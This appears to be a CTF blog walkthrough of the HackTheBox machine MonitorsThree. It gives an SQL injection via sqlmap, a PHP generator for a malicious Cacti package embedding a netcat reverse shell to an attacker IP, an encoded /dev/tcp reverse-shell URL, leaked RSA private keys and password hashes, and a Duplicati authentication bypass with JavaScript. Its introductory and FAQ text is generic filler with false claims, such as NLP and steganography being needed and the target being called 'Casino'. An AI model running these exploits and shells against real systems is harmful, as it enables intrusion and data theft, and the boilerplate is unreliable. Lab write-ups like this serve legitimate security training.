Beginner’s Guide to Conquering MonitorsThree on HackTheBox

Key Highlights

• Explore the unique challenges and rewards of conquering MonitorsThree on HackTheBox.
• Discover the essential tools and skills needed to navigate through the challenges and acquire the user flag.
• Gain insights into what sets MonitorsThree apart on HackTheBox and how it stands out in terms of difficulty and complexity.
• Learn about the significance of effective enumeration techniques for success in tackling MonitorsThree.
• Understand whether beginners can successfully overcome the hurdles presented by MonitorsThree and emerge victorious in this Capture The Flag (CTF) environment.

Introduction

MonitorsThree on HackTheBox is a challenging machine that pushes your skills to the limit. As a beginner, mastering MonitorsThree can be both daunting and rewarding. This blog will guide you through the essential steps to conquer this machine, using techniques such as hacking and penetration testing. Get ready to dive into the world of CTF challenges and sharpen your hacking abilities. Let’s explore the intricacies of MonitorsThree and uncover the strategies to successfully hack it. Stay tuned for expert tips and tricks to grab that elusive user flag. Good luck on your hacking journey!

Understanding the Basics of MonitorsThree

MonitorsThree is a challenging platform on HackTheBox, requiring a deep understanding of NLP concepts. To conquer MonitorsThree, familiarity with pwn, rce, and CTF methodologies is essential. This blog guides users on navigating the intricacies of MonitorsThree, emphasizing the significance of honing application-specific skills. Mastery of these tools and techniques is crucial for successfully obtaining the user flag. Embrace the learning journey towards mastering MonitorsThree and excelling in the thrilling world of ethical hacking.

What Makes MonitorsThree Unique on HackTheBox?

MonitorsThree stands out on HackTheBox due to its intricate challenges and emphasis on advanced enumeration techniques. Its blend of cryptography, steganography, and reverse engineering makes it a favorite among seasoned hackers.

Essential Tools and Skills Needed

To tackle MonitorsThree on HackTheBox successfully, aspiring individuals must equip themselves with a range of essential tools and skills. Proficiency in exploiting vulnerabilities, understanding reverse engineering, and familiarity with privilege escalation techniques are paramount. Dexterity in using tools like IDA Pro, Ghidra, Burp Suite, and Metasploit significantly enhances one’s capability to conquer MonitorsThree. Mastering scripting languages such as Python and Bash proves invaluable for automating tasks and executing exploits efficiently. These competencies serve as the foundation for a successful endeavor in the realm of cybersecurity challenges.

NMap Scanning

I used Nmap to perform a thorough scan to search for open ports and services:

nmap -sC -sV -oN monitorsthreescan.txt 10.10.11.30

The scan detected two open ports: port 22, running OpenSSH 8.9p1 on Ubuntu Linux, and port 80, serving HTTP content via nginx 1.18.0, which was redirected to http://monitorsthree.htb. Additionally, port 8000 was found open with a SimpleHTTPServer 0.6, indicating a Python-based service. A range of ports were noted as filtered, including those for metagram, sco-sysmgr, spamassassin, and various others. The host appears to be a Linux system, with no other open or discernible services beyond those mentioned.

After visiting the website, we can see that it’s written in php:

admin is an endpoint, also admin/navbar.php. admin is also a username, confirmable by the password reset option.

Subdomain Enumeration

As HTTP was open, I enumerated subdomains with FFUF:

ALSO READ: Mastering Lantern: Beginner’s Guide from HackTheBox

Found a subdomain: http://cacti.monitorsthree.htb/cacti/. Added it to hosts file.

Also, found out the following

http://cacti.monitorsthree.htb/cacti/include/vendor/csrf/csrf-secret.php
http://cacti.monitorsthree.htb/cacti/cmd_realtime.php?1+1&&%3b0%3C%26196%3Bexec%20196%3C%3E%2Fdev%2Ftcp%2F10.10.11.30%2F1674%3B%20sh%20%3C%26196%20%3E%26196%202%3E%26196

SQL Injection on Domain

Next, I targeted the main subdomain and discovered an SQL Injection vulnerability in the forgot_password.php page. To streamline the exploitation process, I utilized SQLMap, which proved to be time-consuming due to the complexity of the vulnerability.

sqlmap -u "http://10.10.11.30/forgot_password.php" // use flag --level and --risk --batch

After a bit of digging around the output of SQLMap, I found out the creds of cacti and the main domain: admin:greencacti2001

Cacti RCE Vulnerability Exploitation

With the credentials obtained from SQLMap, I accessed the Cacti subdomain and identified a Remote Code Execution (RCE) vulnerability in Cacti during package import (CVE-2024-25641). (GitHub Advisory Link) Using the metasploit module : exploit/multi/http/cacti_package_import_rce, you’ll be able to land a shell as www-data

This got me shell: https://github.com/rapid7/metasploit-framework/pull/19196

<?php
$xmldata = "<xml>
   <files>
       <file>
           <name>root/rce.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php shell_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.27 4444 >/tmp/f'); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("shutup.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat shutup.xml | gzip -9 > shutup.xml.gz; rm shutup.xml");
?>

Now, save it as shell.php and run it using ‘php shell.php’. Upload the shell uploaded using nc. Exploit at

http://cacti.monitorsthree.htb/cacti/resource/shell.php

Digging around a bit, found ‘marcus’ has a user account in cacti.

User Flag

Port forwarding gets us the port 8200. There is a login page at http://127.0.0.1:8200/login.html
Once you gain access as the user Marcus, there is a port that can be accessed using the command: ssh -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -i sessions/id_rsa_marcus

Marcus public key:

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAxUNmlI+W+MFbT8lEHjcxg/1CCHYKdIAGTB7yswbd4qFzav6g
Q09abKHeYm0fpZ+4OZI1cXDHVlovocYh5MR+Gdqsa0hg/w/GRYY4cdV0thV15J03
8e0rfR38LoXTfV8TvL0yl6dV4W5C+nsFmD05sGZiB3KQHFHp2XIVqCN2HVIWgoyi
hTS9VcjfQec0X1VpsY2F3vSMiEqxxzGJk0hVyBLK4a1mrJJg6RIWBNN2nTLEGfqd
GbU18C+Zw2oXak/Ccs9pWp309dBVHw+Gd9PDNmJUOxy2CYbaMcHMwwk5R0mdupQM
T/FEKL/hTXacD9xwwppDPK/oD8KlE1TIaIdFbwIDAQABAoIBABl72Bw4Ip5XSGcZ
zrmCktyE0suKCFa9lVKvKtZy/CZDikgXxfd8IGfpT3PyugRpCmExoMLbeX0P4Jhr
IsTNl6baZ6ziaFl7Hbesm80k8NN3GUhkAS65X4Vl4sbV1hkbt86JuKf7363kUzXN
v87HlhTSXTauF6z47hd/1AlpL2ChGG7/5PdNA6pp6N0alo73cdrfLoSzofhh2Pk9
gBd5lmv9x0TCMlK1l7+8RPK7NcPkPneqRBXfO5yQfXZKGAWp7YVB95FhXlKNLHss
GkUL+SLj28HyfPpg4OAixGABWWFZtj+fWkPSrC2hVD1rjDHDQGd2ivF+zXBXMeBL
86+zM+UCgYEAznoBZ1zuH92vMBxI0y53aVOmD9pKAauNw+G0if64GVkQ+adeaJ01
7vJonX5tFFeUQ20WP6hwHJB4BW+RDcj1TkhKM1MDXEKuGHBOm3ISs0sNQGCRKaFI
+7zPzCfnhUWgrTtuASJBySwlwSXbGFBc4tRGKXJ1wobMe/RLwSOhhFMCgYEA9JOv
DDGTAmq7vr+tPHOVqk2iuI7QSbOTep2tN0654BKoZjA15LWTT6Zh+GV/XA4iYoBz
tc4tk0t8UH92dMgiMU6QIb7TZ8ONbPH7jIsD/GATq701PV9H4oIUMys36mGg+BN1
Bo/hpKyUgWdmAdOAZWB9PaJxc6XCEjeT4FmJlvUCgYEAk+IIfVqu5r3lSsUHV9Hx
DswtpS8IUHfp2oEeyLNacjU7lkPMt4rZ5SFT0nGJeMddVomcJM3kNmE2xVXqA4CK
SZ43Htl3D65mePR/KJCkWiwH+rLvZWyyFDNgdW2jQe3jrg9hs4gwrABlrhgJ+zkb
vg6hje//7eqULLeFRnjZpycCgYEA5VEzZ7Nzq2h38Dm4LF4TjkKMt47wLKp7NRRy
PNFL5pSX4HiDj5XQMXZHladU6vM1ujXGSEiw4tJ8FN3uK0EbDjAjZACQJ1JrYCLj
QLt3WUKcLwKQ0KJtvCtK1U9IdjJjwzY7G5P8dXJ7K3nPYxbz5Bm8U/XjehOJC5ug
w1Iwd6ECgYEAhXpkgPOWNpcYjqzHpOTuWzOjFMqc4CjIDjfopBtoXC/GjGN48izQ
I5sYdI14AQQcyiLLn9us+7AAGvDy4DdFKr0DSaYyDAaogd5AIC+lOz2Ac653hpgq
MT2RNplRDoJP//M2TRQVcC1+cgbVhXgOdemhk7OQTlGj7D5P5vAudFc=
-----END RSA PRIVATE KEY-----

Password hashes, Marcus one got cracked

MariaDB [monitorsthree_db]> select * from users
    -> ;
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
| id | username  | email                      | password                        | name              | position              | dob        | start_date | salary    |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
|  2 | admin    | admin@monitorsthree.htb    | 31a181c8372e3afc59dab863430610e8 | Marcus Higgins    | Super User            | 1978-04-25 | 2021-01-12 | 320800.00 |
|  5 | mwatson  | mwatson@monitorsthree.htb  | c585d01f2eb3e6e1073e92023088a3dd | Michael Watson    | Website Administrator | 1985-02-15 | 2021-05-10 |  75000.00 |
|  6 | janderson | janderson@monitorsthree.htb | 1e68b6eb86b45f6d92f8f292428f77ac | Jennifer Anderson | Network Engineer      | 1990-07-30 | 2021-06-20 |  68000.00 |
|  7 | dthompson | dthompson@monitorsthree.htb | 633b683cc128fe244b00f176c8a950f5 | David Thompson    | Database Manager      | 1982-11-23 | 2022-09-15 |  83000.00 |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+

Marcus password: 12345678910

Bypassing Duplicati auth: https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

Private key of Marcus

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAxXKXgsj2bIkLzln/zrjXclYVVPfBC5CHtq7RsHdCpZZobQnd
ulf4RYt9xWVNYK4dcNf10FAaAxEc5K2FxgRw1u7k1KdodeTwVI0dnynjMHQ1pitc
b6av4aqfOqu/4veywgnsa883/zn7RNgFPItVE0Uinxmycxfax0it3jkqeqnB7bS/
KejZJBSlbQx/Z2S8LrjTwqYIGe77GnW2hH4iUAtuBdhCtgA6XR4u2kXjIANpNXOr
/L/z8NA216jXWh8YAcLR3NdB9zzjCz8ByykYlFPKBY6hdNbvBxBa8OQxdSfIR8fP
86edvYE8xLeXEA7CSJJ7LtbZqjA1mWXOERvBcQIDAQABAoH/Tf7qWSsGGIfNC+uB
Z22uDUrmX8O8OE5wnFTOs5MTfiKfUNL2LymKGtbYMmso+x4lTH2Oytg1uWNnC5kM
Gy5vSVl4LYw4Iwuc/BR+NvKJ5fSKdtchlnDI4/q6xgpP3CO1FMvdkBUB3x0h9saY
rfCuMYZqsPqL3esffBe5tbEgKWuMML8nAqnzHeCVkM9PkBhPKHNyDmMHPJpAa2q+
YA3N1EPACsT9PQ0NUjnXItRQbGIUrgOZkU+lZ+M1W9wnavmVMEZgK4OVnM3s7a1o
Br+/WVB6Pmx2xvrHBSBIfQp9j0uKOFqbkdEK4BT3UqY+vAKmnnvuP/CNFinOE2Vh
aUvpAoGBAPLMxcDNs1xy+PBZxqu5A/rTMMB9KItwGodRnrAWc1HfuIL1T/Y+3D/t
nS94/EeL4c645CIJHdRZyk2UH4VCyIpI6HRGIwVofxvY7uIaO4fS1c9G4Ffda7EI
F3bYX7uKB2dlAmYWzZlxUp0jAlGRGh8QcaH59I9ZLKdh+oYH2J99AoGBANAunjLW
L2CokWbcrOaZ9a1K0sdXvHV3CbXVdWuBm7fO4MRiKkBCp2/H7NWn/g831yaN8JAf
zhpDxTieNaXwbpndQvSfCJDbL8ATcEUY0JICkDlCkVuylMFHiEhjz1yEeCvFSVns
HTSVwK+vpIKLqIt73ddDsTpeh3vbcIFyzHQFAoGBANIsA7pj1TDfrTGQ5PLdEt7a
VUcqkCAziCM+udi/dk+XE0b5RqBnxYvpCbmARxE/utWRIpl7vsCEgSQqZiaaqrFZ
by7HT6Vs0Sqv3AkIoCNwk/f66FPmrUPvNzB/GE9kqggMXck1T//VIqg3F9i3fB8L
wvFtRw+XJ5o0rAG9ZPyZAoGAfhCcz+AP1JJ/ajCbqxD0SroSpZAlmWQ6Rxg6AJ39
s/Lc/U8MktlKF1CTxFX0bTa9XKV7VWtNHW6IkV6M0i2kbBwmnYdoYn+4jLG4vL7o
HmLa/zGmYEbl+ZzdlCiMu1OkiazwXDm0/dDpW/oavsrfh4e8sMxXGCeCF6ismlbw
JBkCgYEAwvKimYhLYfvywwheBK1AsFHBQ8vq7rZACzV6MYzmOk6Hr45z7SV6LhNd
xpPA81f9OUSYohrfKO1ES1grPVyif9NkgDCrqM8WTrYano8AwVBMHhl/6BAcX0wg
ri6rFwDJA1w+CQzmJJorLShsxADey95ZdizJ1sOxtk+9NJDb0nw=
-----END RSA PRIVATE KEY-----

For those having trouble bypassing Duplicati authentication:

1. In Burp, intercept the login request, forward it, and copy the session_nonce to the noncedpwd command.
2. Substitute the result as the password, forward the request, and then disable intercept.

To get a shell as root:

1. Generate SSH keys on your machine and copy the public key to a folder on the target box as authorized_keys.
2. In Duplicati, create a backup of this file and restore it to /root/.ssh/.
3. You should now be able to log in with the generated key as root.

ALSO READ: Building A CTF Challenge for a Workshop

Root Flag with privesc

• Create a Tunnel: Establish a tunnel from the target machine (Casino) to your local machine using SSH:bashCopy codessh -i id_rsa marcus@10.10.11.30 -D 8300 Configure your browser to use port 8300 as a proxy. This will give access to a site running on 127.0.0.1:8200, which is Duplicati.

• Extract the Duplicati Configuration File: On the target machine, navigate to /opt/duplicati/config and locate the Duplicati-server.sqlite file. Use scp to transfer the file to your machine and open it with SQLite Browser.

• Retrieve the Passphrase: In the Option table, find the server-passphrase value. Convert this value from Base64 to Hex.

• Sync Time with the Target Machine: Ensure your machine’s time matches the target machine’s time to avoid issues with the CSRF token:bashCopy codesudo timedatectl set-time xx:xx:xx

• Bypass Authentication:
  • Start Burp and set Intercept to capture requests.
  • Attempt to log in to Duplicati with any password.
  • Inspect the POST request, forward it once, and examine the response to locate the NONCE value.
  • Copy the NONCE value in plain text (do not convert it).

• Generate the Nonce Password:
  • Open the developer console in your browser and execute the following JavaScript:javascriptCopy codevar noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('value_of_NONCE') + 'value_of_hex_server_passphrase')).toString(CryptoJS.enc.Base64);
  • Print noncepwd in the console and copy the resulting value.

• Login with the Generated Nonce Password:
  • In the next request in Burp, replace the password field with your noncepwd value.
  • Highlight it, convert it to a URL, and press CTRL+U.
  • Forward the request without intercepting further; you should now be logged in to Duplicati.

• Create Backup and Extract Files:
  • On the target machine (Casino), create two directories, e.g., dest and result, within Marcus’s folder.
  • In Duplicati, create a new backup task with any name and description, and ensure no encryption is set.
  • Set the destination folder to /source/home/marcus/dest and the target to /source/root/root.txt.
  • After creating the task, refresh the Duplicati home page if needed to see the new backup task, then run it.
  • Check /home/marcus/dest for .zip files on the Casino machine.

• Restore the Backup:
  • In Duplicati, select the backup to restore, and set the destination to /source/home/marcus/result.
  • After the restore, check /home/marcus/result on the target machine, where you should find root.txt.

Conclusion

In conclusion, mastering MonitorsThree on HackTheBox requires honing your skills in hacking methodologies. With the right tools, such as exploit frameworks for remote code execution (RCE) and privilege escalation techniques, you can efficiently conquer challenges. Remember, the essence of Capture The Flag (CTF) events like HackTheBox lies in persistent learning and hands-on practice to enhance your prowess in the realm of application security. Stay curious, keep exploring, and never cease to grow in your journey as a cybersecurity enthusiast.

Frequently Asked Questions

How Do I Start with MonitorsThree on HackTheBox?

To start with MonitorsThree on HackTheBox, create an account on the platform, access the machine, and begin by enumerating services. Utilize tools like Nmap for scanning and enumeration to uncover vulnerabilities. Research and understand the specific challenges of MonitorsThree to progress effectively.

What Are Common Challenges in MonitorsThree?

MonitorsThree poses challenges such as intricate network configurations, advanced privilege escalation techniques, and complex cryptography puzzles. Overcoming these hurdles requires a deep understanding of cybersecurity concepts and the ability to think outside the box.

Can Beginners Successfully Conquer MonitorsThree?

Beginners can conquer MonitorsThree on HackTheBox with dedication and learning. By understanding the unique challenges it presents, acquiring essential tools and skills, success is within reach for those starting out in cybersecurity.

Tips for Effective Enumeration in MonitorsThree?

To effectively enumerate in MonitorsThree on HackTheBox, focus on thorough port scanning using tools like Nmap, enumerate services for vulnerabilities, and explore directories with DirBuster. Practice active enumeration techniques to uncover hidden paths and potential weaknesses.